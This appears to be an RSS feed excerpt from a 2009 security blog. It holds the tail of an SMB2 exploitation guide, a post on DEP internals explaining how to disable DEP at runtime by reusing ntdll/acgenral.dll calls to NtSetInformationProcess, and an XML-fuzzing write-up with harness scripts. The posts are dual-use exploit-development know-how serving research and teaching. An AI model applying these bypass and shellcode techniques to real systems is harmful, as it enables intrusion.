</span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
</span></span></span></span></span></span></span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">now we jump directly to ring0 shellcode and after that rin3 shellcode . go :</span></span></span></span></span></span></span></span></p>
<blockquote>
<pre><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; g </span></span></span></span></span></span></span></span>
<span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">Break instruction exception - code 80000003 (first chance) SharedUserData+0x4af: 001b:7ffe04af cc              int     3</span></span></span></span></span></span></span></span></pre>
</blockquote>
<p><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">i use trap-debugger shellcode so int3 instruction is my ring3 shellcode and you can see it executed gracefully .  last note is you most put shellcode in the suitable offset from you packet , because there was some instructions that changed yor packet data and if shellcode located in those offsets &#8230;. .</span></span></span></span></span></span></span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span></span></span></span></span></span></span><span style="color: #ffffff;"> </span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">have nice exploitation &#8211; snake.</span></span></span></span></span></span></span></span></span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"> </span></span></span></span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"> </span></span></span></span> <span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #000000;"> </span></span></span></span> <strong><em> </em></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.snoop-security.com/blog/index.php/2009/10/smb2-exploitation-guide-for-housekeepers-dummies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inside Data Execution Prevention</title>
		<link>http://www.snoop-security.com/blog/index.php/2009/10/inside-data-execution-prevention/</link>
		<comments>http://www.snoop-security.com/blog/index.php/2009/10/inside-data-execution-prevention/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 18:44:12 +0000</pubDate>
		<dc:creator>Snake</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[acgenrall.dll]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[Data Execution Prevention]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Hardware Enforce DEP]]></category>
		<category><![CDATA[non-executable]]></category>
		<category><![CDATA[NtSetInformationProcess]]></category>
		<category><![CDATA[NX]]></category>
		<category><![CDATA[NX bit]]></category>
		<category><![CDATA[NXE]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[windows protection]]></category>

		<guid isPermaLink="false">http://www.snoop-security.com/blog/?p=53</guid>
		<description><![CDATA[Hi fellas
This is  again Snake with  his poor English   . when m08-67 vulnerability exploited successfully by metasploit guys , i got experience on dep .now i think it is good time ( i know it is a little late   ) to public my information about this protection. in this post i try [...]]]></description>
			<content:encoded><![CDATA[<p>Hi fellas</p>
<p>This is  again Snake with  his poor English <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  . when m08-67 vulnerability exploited successfully by metasploit guys , i got experience on dep .now i think it is good time ( i know it is a little late <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ) to public my information about this protection. in this post i try to explain some things that i found about dep internals and NtSetInformationProcess function.</p>
<h2><strong><em>Paging,Page Table,Page Directory </em></strong></h2>
<p>in IA-32 arch architect  and Memory Virtualazation  , CPU and OS are using mechanism called paging.they use paging for mapping linear address space to physical memory . linear address space is CPU addressable space and physical memory is physically connected memory , like RAM or ROM.and mapping is mechanism that translate an address in Virtual memory or Linear Address space to its equal in physical  memory. with out paging and Virtualazation , CPU translate an address directly to Physical memory. but in Memory Virtualazation , whole  address space divided into short fix size blocks  called Page.pages can present in different size , but usually are 4 kb in IA-32 . Page-Directory is 32 bit array of pointers to Page-Tables . and Page Table is 32 bit array that contain address of each page in physical memory. now CPU for mapping an address from Linear Address Space to Physical memory go to desire Page-Directory and find exact Page-Table.then it find correct address from Page and &#8230; . figure.1 show this mechanism in better way :</p>
<p><img src="http://img.majidonline.com/pic/235191/1.JPG" alt="" width="685" height="326" /></p>
<p>bellow  you can see Page-Directory and Page-Table arrays :</p>
<p><img src="http://img.majidonline.com/pic/235192/2.JPG" alt="" width="745" height="640" /></p>
<p>PD and PT bits are not in important for us , just an imagination of what they are and what they do .  by setting Present bit whole array use for storing address and other bits overwritten by addresses  <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />   .in  this type of IA-32 paging mechanism, a OS can support and address only  2^32 bits , form 0 to FFFFFFFF. in other word you can have only 4 gig memory for each process . Intel introduced Page Address Extension ( PAE )  for obviating this limits.by using PAE supported CPUs  OS can have 2^36 bit address space and it mean 64 gig memory for each process  ! for using this advantage Intel changed Page-Table and Page-Directory to 64 bit array. above figure show changed PD and PT :</p>
<p><img src="http://img.majidonline.com/pic/235194/3.JPG" alt="" width="707" height="363" /></p>
<p>PAE moreover 64 gig address space,  introduced new bit in Page-Table called NX  bit ( Execute Disable , Non-Execute ) .this bit is new protection mechanism in paging related protections such as setting privilege ( R\W )  for Pages . with NX we can mark a page as non executable .  there is many Pages that are use only for holding Data and they are executable so . why let them executable  ?  so by setting this bit OS separate Page for holding Executable Data and Non-Executable data. by this mechanism data related spaces such as Stack,Heap and data section became non-executable and this is Game Over for Exploits that run shellcode from stack or other data sections.</p>
<h2><strong><em>Linux Kernel NX Patch </em></strong></h2>
<p>lets take look at one of first linux Kernel NX patch for better understanding of this protection. at the first we have :</p>
<pre class="brush: cpp;">

movl %eax,%cr4
btl $5, %eax	# check if PAE is enabled
jnc 6f
/* Check if extended functions are implemented */
movl $0x80000000, %eax
cpuid
cmpl $0x80000000, %eax
jbe 6f
mov $0x80000001, %eax
cpuid
/* Execute Disable bit supported? */
btl $20, %edx
jnc 6f
</pre>
<p>cr4 control register loaded  into eax , fifth bit of CR4 contain a sign for supporting PAE tech . if it presented we have PAE if not no PAE.  BT instruction used for bit testing and CF will receive its result. after that we use CPUID:80000001 instruction for NX bit checking. 20 bit of edx will recive the result and like PAE checking we have bt instruction again.i skip some functions that are written for mapping kernel address space to physical memory .after that we have function for catching NX in Page-Table :</p>
<pre class="brush: cpp;">

static void __init set_nx(void)
{
 unsigned int v[4], l, h;
 if (cpu_has_pae &amp;amp;amp;&amp;amp;amp; (cpuid_eax(0x80000000) &amp;amp;gt; 0x80000001)) {
 cpuid(0x80000001, &amp;amp;amp;v[0], &amp;amp;amp;v[1], &amp;amp;amp;v[2], &amp;amp;amp;v[3]);
 if ((v[3] &amp;amp;amp; (1 &amp;amp;lt;&amp;amp;lt; 20)) &amp;amp;amp;&amp;amp;amp; !disable_nx) {
 rdmsr(MSR_EFER, l, h);
 l |= EFER_NX;
 wrmsr(MSR_EFER, l, h);
 use_nx = 1;
 __supported_pte_mask |= _PAGE_NX;
 }
 }
}
</pre>
<p>then Kernel setup Page-Table by paging_init() function and set NX bit in pages ( if it is compatible )  :</p>
<pre class="brush: cpp;">

void __init paging_init(void)
 {
#ifdef CONFIG_X86_PAE
 set_nx();
 if (use_nx)
 printk(&amp;amp;quot;NX (Execute Disable) protection: active\n&amp;amp;quot;);
 else
 printk(&amp;amp;quot;NX (Execute Disable) protection: not present!\n&amp;amp;quot;);
#endif
 pagetable_init();
[...]
</pre>
<p>now all the Pages are setuped with NX bit enable . for alocating executable Pages Kernel use vmalloc_exec() function :</p>
<pre class="brush: cpp;">

void *vmalloc_exec(unsigned long size)
{
return __vmalloc(size, GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC);
}
</pre>
<h2><strong><em>Exploitation Limits After NX</em></strong></h2>
<p>as you can see , NX snatch us permission  of executing code from data marked pages.<strong><em> </em></strong>so if we want to exploit a vulnerability by jumping into data preserve page with NX enable , we got Access Violation Exception ( actually a Page Fault ). now Heap , Stack and Data sections are non-executable .the only Executable memory is Code or text section , but it is write protected !</p>
<h2><strong><em>Windows and NX Bit </em></strong></h2>
<p>windows memory management system also take advantage of NX bit to defeat Stack/Heap/Date base buffer overflow  exploits.<strong> </strong>windows intruduce this protection in the term of <em><strong><span style="text-decoration: underline;">Hardware Enforce Data Execution Prevention</span></strong></em> or just DEP in brevity. if CPU dosnt suppurt NX bit , there is very limit version of DEP , called Software DEP. it is not like Linux patch non-exportability emulation and just ensure that SEH Handler is located in executable Page ( not Stack or Heap ). DEP is configurable also and you can disable it from boot.ini or boot management in Vista . there is copy-pasted text of boot configuration from Wikipedia <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  .</p>
<p>The Boot.ini file settings are as /noexecute=policy_level, where policy_level is defined as one of the following values:<br />
<strong><em>OptIn</em></strong><br />
This setting is the default configuration for Windows XP. On systems with processors that can implement hardware-enforced DEP, DEP is enabled by default for limited system binaries and programs that &#8220;opt in&#8221;. With this option, only Windows system binaries are covered by DEP by default and cannot be disabled without changing the policy to &#8220;AlwaysOff&#8221;. This is also the default in Windows Vista; however in 64-bit Vista 64-bit applications are always opted in. [8]<br />
<strong><em>OptOut</em></strong><br />
This setting is the default configuration for Windows 2003 SP1. DEP is enabled by default for all processes. A list of specific programs that should not have DEP applied can be entered using the System dialog box in Control Panel. Network administrators can use the Application Compatibility Toolkit to &#8220;opt out&#8221; one or more programs from DEP protection. System compatibility fixes, or shims, for DEP do take effect. Also note that Windows silently disables DEP for certain executables, such as those packaged with ASPack. [9]<br />
<strong><em>AlwaysOn</em></strong><br />
This setting provides full DEP coverage for the whole system. All processes always run with DEP applied. The exceptions list to exempt specific programs from DEP protection is not available. System compatibility fixes for DEP do not take effect. Programs that have been opted out by using the Application Compatibility Toolkit run with DEP applied.<br />
<strong><em>AlwaysOff</em></strong><br />
This setting does not provide any DEP coverage for any part of the system, regardless of hardware DEP support.</p>
<h2><strong><em>DLLs And DEP Compatibly </em></strong></h2>
<p>there is also a mechanism for detecting DEP incompatible binaries<strong><em> .</em></strong>at binary loading stage , OS call a LdrpCheckNXCompatibility() function. LdrpCheckNXCompatibility() make some experiences on binary to known DEP compatibility/ incompatibility. for example by if there is  sections like .aspack , .sforce or any other signature base sections of packers , the binary is DEP incompatible.if  binary is listed in HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNt\CurrentVersion\Image File Execution Option\DllNXOptions registery key it is also incompatible , this key is list of  DEP incompatible PEs . if binary have IMAGE_DLL_CHARACTERISTICS_NX_COMPAT set in DllCharacteristics field of its optional header its DEP compatible ( by 0&#215;0100 value ) . this filed will set if binary is linked with      /NXCOMPAT linker option.what happen if a dll wasn&#8217;t DEP compatible ? in this situation  LdrpCheckNXCompatibility() disable DEP for that specific incompatible process at <strong><em><span style="text-decoration: underline;">runtime</span></em></strong>. but how ?</p>
<h2><strong><em>Disabling DEP at Runtime</em></strong></h2>
<p>LdrpCheckNXCompatibility() function use NtSetInformationProcess function to disable DEP for a specific process .there is NteSetInformationProcess function prototype :</p>
<pre class="brush: cpp;">

NTSYSAPI
NTSTATUS
NTAPI
NtSetInformationProcess(
 IN HANDLE               ProcessHandle,
 IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
 IN PVOID                ProcessInformation,
 IN ULONG                ProcessInformationLength );
</pre>
<p>for setting specific characteristic of a process  , Nt SetInformationProcess() use ProcessInformationClass structure .see this structure in above :</p>
<pre class="brush: cpp;">

typedef enum _PROCESSINFOCLASS {
 ProcessBasicInformation,
 ProcessQuotaLimits,
 ProcessIoCounters,
 ProcessVmCounters,
 ProcessTimes,
 ProcessBasePriority,
 ProcessRaisePriority,
 ProcessDebugPort,
 ProcessExceptionPort,
 ProcessAccessToken,
 ProcessLdtInformation,
 ProcessLdtSize,
 ProcessDefaultHardErrorMode,
 ProcessIoPortHandlers,          // Note: this is kernel mode only
 ProcessPooledUsageAndLimits,
 ProcessWorkingSetWatch,
 ProcessUserModeIOPL,
 ProcessEnableAlignmentFaultFixup,
 ProcessPriorityClass,
 ProcessWx86Information,
 ProcessHandleCount,
 ProcessAffinityMask,
 ProcessPriorityBoost,
 ProcessDeviceMap,
 ProcessSessionInformation,
 ProcessForegroundInformation,
 ProcessWow64Information,
 ProcessImageFileName,
 ProcessLUIDDeviceMapsEnabled,
 ProcessBreakOnTermination,
 ProcessDebugObjectHandle,
 ProcessDebugFlags,
 ProcessHandleTracing,
 ProcessIoPriority,
 ProcessExecuteFlags,
 ProcessResourceManagement,
 ProcessCookie,
 ProcessImageInformation,
 MaxProcessInfoClass
} PROCESSINFOCLASS;
</pre>
<p>each entry in ProcessInformationClass point to the specific variable . for example ProcessBasicInformation point to  structure named PROCESS_BASIC_INFORMATION and defined in NTDDK.H .</p>
<pre class="brush: cpp;">

typedef struct _PROCESS_BASIC_INFORMATION {

NTSTATUS ExitStatus;

PPEB PebBaseAddress;

ULONG_PTR AffinityMask;

KPRIORITY BasePriority;

ULONG_PTR UniqueProcessId;

ULONG_PTR InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION;

typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;
</pre>
<p>now we can set information of this structure for our selected process by calling NtSetInformationProcess like ( i don&#8217;t know coding like this is valid or not ,because i doesn&#8217;t find any public example of  using NteSet&#8230; ):</p>
<pre class="brush: cpp;">

PROCESS_BASIC_INFORMATION P_B_I;
P_B_I.ExitStatus = 0;
P_B_I.PebBaseAddress = 0x7FFDF000;
P_B_I.InheritedFromUniqueProcessId = 666;
[...]
NtSetInformationProcess(-1, ProcessBasicInformation, &amp;amp;amp;P_B_I, 0x018);
</pre>
<p>as you can see , first argument is process handle with PROCESS_SET_INFORMATION access and -1 id defined by windows for current process. second argument is entry of  ProcessInformationClass structure that we want to set , in this case is ProcessBasicInformation . third argument is pointer to modified/seted structure same as a second argument.and finally forth argument is size of second/third argument structure.for each entry of ProcessInformationClass in the NtSetInformationProcess is switch-case block for setting desire informations. for example for setting ProcessAffinityMask :</p>
<pre class="brush: cpp;">

NTSTATUS WINAPI NtSetInformationProcess(
 IN HANDLE ProcessHandle,
 IN PROCESSINFOCLASS ProcessInformationClass,
 IN PVOID ProcessInformation,
 IN ULONG ProcessInformationLength)
{
 NTSTATUS ret = STATUS_SUCCESS;
 switch (ProcessInformationClass)
 {
[...]
 ProcessAffinityMask:
 if (ProcessInformationLength != sizeof(DWORD_PTR)) return STATUS_INVALID_PARAMETER;
 if (*(PDWORD_PTR)ProcessInformation &amp;amp;amp; ~(((DWORD_PTR)1 &amp;amp;lt;&amp;amp;lt; NtCurrentTeb()-&amp;amp;gt;Peb-&amp;amp;gt;NumberOfProcessors) - 1))
 return STATUS_INVALID_PARAMETER;
 SERVER_START_REQ( set_process_info )
 {
 req-&amp;amp;gt;handle   = wine_server_obj_handle( ProcessHandle );
 req-&amp;amp;gt;affinity = *(PDWORD_PTR)ProcessInformation;
 req-&amp;amp;gt;mask     = SET_PROCESS_INFO_AFFINITY;
 ret = win_server_call( req );
 }
 SERVER_END_REQ;
 break;
[...]
</pre>
<p>for us there is only one important entry in ProcessInformationClass structure and that is ProcessExecuteFlags. by using this entry in NtSetInfromationProcess() we can Enable/Disable DEP for specific process. DEP setting for a procees is defined in KEXECUTE_OPTIONS field of KPROCESS structure :</p>
<pre class="brush: cpp;">

DISPATCHER_HEADER     Header                         /* 000 */
 LIST_ENTRY               ProfileListHead;             /* 010 */
 PHYSICAL_ADDRESS      DirectoryTableBase;        /* 018 */
 KGDTENTRY               LdtDescriptor;             /* 020 */
 KIDTENTRY                Int21Descriptor;           /* 028 */
 USHORT                IopmOffset;                /* 030 */
 UCHAR                 Iopl;                         /* 032 */
 UCHAR                 Unused;                     /* 033 */
 ULONG                 ActiveProcessors;          /* 034 */
 ULONG                 KernelTime;                /* 038 */
 ULONG                 UserTime;                  /* 03C */
 LIST_ENTRY            ReadyListHead;             /* 040 */
 SINGLE_LIST_ENTRY     SwapListEntry;             /* 048 */
 PVOID                 VdmTrapcHandler            /* 04C */
 LIST_ENTRY            ThreadListHead;            /* 050 */
 KSPIN_LOCK            ProcessLock;               /* 058 */
 KAFFINITY             Affinity;                  /* 05C */
 union {
 struct {
 ULONG         AutoAlignment:1;           /* 060.0 */
 ULONG         DisableBoost:1;            /* 060.1 */
 ULONG         DisableQuantum:1;          /* 060.2 */
 ULONG         ReservedFlags:29;          /* 060.3 */
 };
 ULONG             ProcessFlags;              /* 060 */
 };
 CHAR                  BasePriority;              /* 064 */
 CHAR                  QuantumReset;              /* 065 */
 UCHAR                 State;                     /* 066 */
 UCHAR                 ThreadSeed;                /* 067 */
 UCHAR                 PowerState;                /* 068 */
 UCHAR                 IdealNode;                 /* 069 */
 UCHAR                 Visited;                   /* 06A */
 KEXECUTE_OPTIONS      Flags;                     /* 06B */
 ULONG                 StackCount;                /* 06C */
 LIST_ENTRY            ProcessListEntry;          /* 070 */
</pre>
<p>KEXECUTE_OPTIONS contain 7 flag . 4 flag is used for DEP setting :</p>
<pre class="brush: cpp;">

UCHAR ExecuteDisable:1;
 UCHAR ExecuteEnable:1;
 UCHAR DisableThunkEmulation:1;
 UCHAR Permanent:1;
 UCHAR ExecuteDispatchEnable:1;
 UCHAR ImageDispatchEnable:1;
 UCHAR Spare:2;
</pre>
<p>if DEP is Enable ExecuteDisable bit set by 1 . if DEP is Disable  ExecuteEnable option will set . if dep is configured as OptOut both ExecuteEnable and ExecuteDisable flags set to 1 and DEP is aslo Enable . there is one another  important flag , Permanent ! in windows Vista/2008/7 Microsoft take advantage of this bit to create a second layer protection against disabling DEP at runtime. in Visat/2008/7 when a program loaded for fist time this bit will set , if compatible , DEP enable and if not disable dep and set  Permanent flag so. if Permanent falg set for process we cannot change DEP policy at runtime . but in prior to Vista we can change dep setting at runtime by calling NtSetInformationProcess() . this macros are defined for changing DEP policy :</p>
<pre class="brush: cpp;">

#define ProcessExecuteFlags 0x22
#define MEM_EXECUTE_OPTION_DISABLE   0x01
#define MEM_EXECUTE_OPTION_ENABLE    0x02
#define MEM_EXECUTE_OPTION_PERMANENT 0x08
</pre>
<p>we are familiar with ProcessExecuteFlag as before , it is a part of ProcessInformationClass . by using MEM_EXECUTE_OPTION_DISABLE DEP enable for a process and MEM_EXECUTE_OPTION_ENABLE will disable it.lets take look at this pseudo code and see how NtSetInformationProcess() disable DEP thru this flags :</p>
<pre class="brush: cpp;">

[...]
case ProcessExecuteFlags:
 if (ProcessInformationLength != sizeof(ULONG))
 return STATUS_INVALID_PARAMETER;
 else if (execute_flags &amp;amp;amp; MEM_EXECUTE_OPTION_PERMANENT)
 return STATUS_ACCESS_DENIED;
 else
 {
 BOOL enable;
 switch (*(ULONG *)ProcessInformation &amp;amp;amp; (MEM_EXECUTE_OPTION_ENABLE|MEM_EXECUTE_OPTION_DISABLE))
 {
 case MEM_EXECUTE_OPTION_ENABLE:
 enable = TRUE;
 break;
 case MEM_EXECUTE_OPTION_DISABLE:
 enable = FALSE;
 break;
 default:
 return STATUS_INVALID_PARAMETER;
 }
 execute_flags = *(ULONG *)ProcessInformation;
[...]
</pre>
<p>now with this informations , we know calling NtSetInformationProcess() with this arguments , disable DEP for current process :</p>
<pre class="brush: cpp;">

NtSetInformationProcess(-1, ProcessExecuteFlags, MEM_EXECUTE_OPTION_ENABLE, 0x4 )
</pre>
<p>this call will set  MEM_EXECUTE_OPTION_ENABLE option for ProcessExecuteFlags and therefore DEP will disable . but the question is how calling NtSetInformationProcess with this arguments ? as i said before , widows Operating System use LdrpCheckNXCompatibility() to check NX compatibility and if a process is not compatible it will disable DEP for that process at runtime. so this is the answer , we can use &#8220;code reuse&#8221; technique and changing program execution flow to a part of LdrpCheckNXCompatibility() that call NtSetInformationProcess() with desire options.lets take look at its code ( in ntdll.dll ) :</p>
<pre class="brush: cpp;">

loc_7C936831:
push    4
lea     eax, [ebp+var_4]
push    eax
push    22h
push    0FFFFFFFFh
call    ZwSetInformationProcess
jmp     loc_7C91CD6D
; END OF FUNCTION CHUNK FOR sub_7C91CD11
</pre>
<p>for using this section of code you have to jump in upper section and execute thru  it till reach this section. i suggest you to read Skape paper about this technique and using ntdll.dll call to SetInformationProcess.there is another dll that call NtSetInformationProcess with DEP disable arguments , it is acgenral.dll :</p>
<pre class="brush: cpp;">

loc_6F8917C2:
push    4
lea     eax, [ebp+arg_0]
push    eax
push    22h
push    0FFFFFFFFh
mov     [ebp+arg_0], 2
call    ds:NtSetInformationProcess
</pre>
<p>metasploit use this dll and codes to disable DEP for  ms08-67 vulnerability exploit code.you cannot ever jump to this dll , because it most loaded into process address space and it is not communal DLL .but attention if you use LdrpCheckNXCompatibility() (ntdll ) or avgenrall.dll for disabling DEP Set EBP to a writable address . because, as you can see both ntdll and acgenrall calls, use ebp and stack for storing one of NtSetInformationProcess() arguments . as you know at end of function and before RET instruction get execute we have pop ebp ( or simply leave ) instruction and if you corrupt stack of vulnerable function by junk date , you will change ebp value to a unknown address. and calling to NtSetInformationProcess() will fail .</p>
<p>have nice exploitation;) .</p>
<p>Reference :</p>
<ol>
<li>React OS &#8211; reactos.org</li>
<li>Skape,  Bypassing Windows Hardware-enforced Data Execution Prevention - www.uninformed.org</li>
<li>WineHQ - www.winehq.org</li>
<li>Data Execution Prevention &#8211; wikipedia.org</li>
<li>Intel Manual &#8211; intel.com</li>
<li>ms08-67 Vulnerability Exploit Code &#8211; metasploit.com</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.snoop-security.com/blog/index.php/2009/10/inside-data-execution-prevention/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Observation on Immunity Ekoparty 2009 Challenge</title>
		<link>http://www.snoop-security.com/blog/index.php/2009/10/observation-on-immunity-ekoparty-2009-challenge/</link>
		<comments>http://www.snoop-security.com/blog/index.php/2009/10/observation-on-immunity-ekoparty-2009-challenge/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 21:09:39 +0000</pubDate>
		<dc:creator>sCORPINo</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[Fuzzing]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[fuzz test]]></category>
		<category><![CDATA[immunity challenge]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[untidy]]></category>
		<category><![CDATA[xml fuzzer]]></category>

		<guid isPermaLink="false">http://www.snoop-security.com/blog/?p=46</guid>
		<description><![CDATA[Hello,
At the beginning please accept my apologize for a long down-time in last month. our shared hosting had some security issues.
let&#8217;s dig into the subject&#8230;
If you&#8217;re subscriber in DailyDave mailling list, may be you remind 13th August that Nicolas Waisman from Immunity posted a challenge. After that, Me and Shahriyar(Snake) started to try out ourselves. we did [...]]]></description>
			<content:encoded><![CDATA[<p>Hello,</p>
<p>At the beginning please accept my apologize for a long down-time in last month. our shared hosting had some security issues.</p>
<p>let&#8217;s dig into the subject&#8230;</p>
<p>If you&#8217;re subscriber in DailyDave mailling list, may be you remind 13th August that Nicolas Waisman from Immunity posted a <a href="http://lists.immunitysec.com/pipermail/dailydave/2009-August/005849.html" target="_blank">challenge</a>. After that, Me and Shahriyar(Snake) started to try out ourselves. we did some part time examination in 2 days and after that some projects stopped us from continuing!</p>
<p>In this small amount of time, I had some observation of this challenge executable in IDA ,  but decided to pass reversing part to snake and I concentrated on fuzzing section to find possible vulnerabilities!</p>
<p>I&#8217;m here to write down what i did, may be shahriyar do it too later.</p>
<p>Executable scheme in IDA Pro was a little confusing,  continuous jmp(s) and using TinyXML library made it a little confusing for newbie reverses such as me! Later it got easier when symbol included version released by nico.</p>
<p>Our main guess at first was that if something is overwriting , a loop is responsible for writing each characters of string into a buffer, so we searched for loops! not all loops, because we leave doing this incompletely!</p>
<p>next chance was to take a look for known/unkown TinyXML bugs! found a known bug in TinyXML bugtraq but it doesn&#8217;t trigger! so it was&#8217;nt useful either.</p>
<p>My next try was fuzzing! searched for available XML fuzzers and found just fuzzer, <a href="http://untidy.sourceforge.net/" target="_blank">untidy</a> ! because i thought regular file fuzzers and bit flipper won&#8217;t find bug in this situation!</p>
<p>I have written a simple script to make test cases out of default immunity.xml content with untidy !</p>
<pre class="brush: python;">

import untidy
xmlString = &amp;amp;quot;&amp;amp;quot;&amp;amp;quot;
&amp;amp;lt;document&amp;amp;gt;
    &amp;amp;lt;entries&amp;amp;gt;
 &amp;amp;lt;book name=&amp;amp;quot;Immunity 1&amp;amp;quot;/&amp;amp;gt;
 &amp;amp;lt;book name=&amp;amp;quot;Immunity 2&amp;amp;quot;/&amp;amp;gt;
    &amp;amp;lt;/entries&amp;amp;gt;
&amp;amp;lt;/document&amp;amp;gt;
&amp;amp;quot;&amp;amp;quot;&amp;amp;quot;

xf = untidy.xmlFuzzer()
xf.setRepetitions( [3,30,60] )
iter = xf.fuzz( xmlString )
counter = 0
for i in iter:
 ff = open('D:\\untidy-beta2\\untidy\\test-cases\\immunity-'+str(counter)+'.xml', 'w+')
 ff.write(i)
 ff.close()
 counter += 1

 </pre>
<p>It made <strong>~100000</strong> test cases for me. it&#8217;s good to say I did some minor changes in fuzzer such as changing &#8216;A&#8217; sequence to &#8216;H&#8217; and &#8216;B&#8217; for some triggery and anti A sequence reasons! somehow effective in some cases!</p>
<p>Now what I should do was <em>reading each test cases</em> -&gt; <em>saving each of these test cases content as immunity.xml beside immunity.exe</em> -&gt; <em>running immunity.exe under debugger and detect possible faults!</em></p>
<p>for this process I did this:</p>
<pre class="brush: python;">

import os
for i in range(1, 100000):
 print '=' * 80
 print 'test case number %d' % i                             
 print '-' * 80
 print 'openning source file'
 fopen = open('D:\\untidy-beta2\\untidy\\test-cases\\immunity-'+str(i)+'.xml', 'r')
 print 'opening target file'
 wopen = open('D:\\immunity\\immunity.xml', 'w')
 print 'writing source to target'
 for line in fopen:
  wopen.write(line)
 wopen.close()
 fopen.close()
 print 'executing immuinity.exe under debugger..'
 
 if os.system('crash.exe immunity.exe 500 &amp;amp;quot;&amp;amp;quot;') != 0:
  log = open('D:\\immunity\\error.log', 'a')
  log.write('error detected @ test case number: ' + i )
  log.close()
 print '=' * 80
</pre>
<p>I could do it with <strong>PyDBG</strong> or <strong>WinappDBG</strong> or anything else too, but It&#8217;s exactly what I did! Because it wasn&#8217;t successful, I googled for .XML documents, and concatenated a bunch of them as a test case and did the whole stages once more! <strong>~210000</strong> test cases and Unfortunately nothing!</p>
<p>It was my last chance to do tests on Immunity contest. A while later I read winner of the contest in another post at DailyDave mailinglist !</p>
<p>Then it made the idea of improving untidy while I was on a vacation! I&#8221;ve read the source code. All of untidy is placed in 2 files, <strong>fuzzingFunctions.py</strong> and <strong>untidy.py</strong> . almost half of untidy.py LOCs are about making a XML formatted string to a python list. <strong>_getFuzzFunctions()</strong> is a function that originally placed in fuzzingFunction.py and append name of enumerated fuzzing function ( that should start with &#8216;ff&#8217; and then a number, uninterrupted by the way) to a list and then return to caller!</p>
<p>So, all that you need to do to improve untidy is to put your function in <strong>fuzzingFunction.py</strong> and recieve <strong>xmlItem</strong> and optionally <strong>repetitions</strong> and mangle or fuzz items and send them back!</p>
<p>It&#8217;s very bad that there is not many xml fuzzer out there, certainly there are many of xml fuzzers in non-public area! I did my improvement, added some function and now it&#8217;s working better! even added a function to trigger immunity contest way! <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>I&#8217;m not going to release this improvement now(may be later), but  it&#8217;s clear how to do it for everyone interested(have fun)!</p>
<p>though it wasn&#8217;t a successful case , but I earned some experiences and that was cool for me , thank nico <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>P. S.</strong> :  We at Snoop Security decided to set up an IRC server for Information Security guys to discuss,  we welcome everyone that is interested in!</p>
<p><strong>server</strong>: snoop-security.com</p>
<p><strong>port</strong>: 6667</p>
<p><strong>channel</strong>: #SnoopSec</p>
<p> </p>
<p>Links:</p>
<p>[1] Immunity Challenge: <a href="http://lists.immunitysec.com/pipermail/dailydave/2009-August/005849.html">http://lists.immunitysec.com/pipermail/dailydave/2009-August/005849.html</a></p>
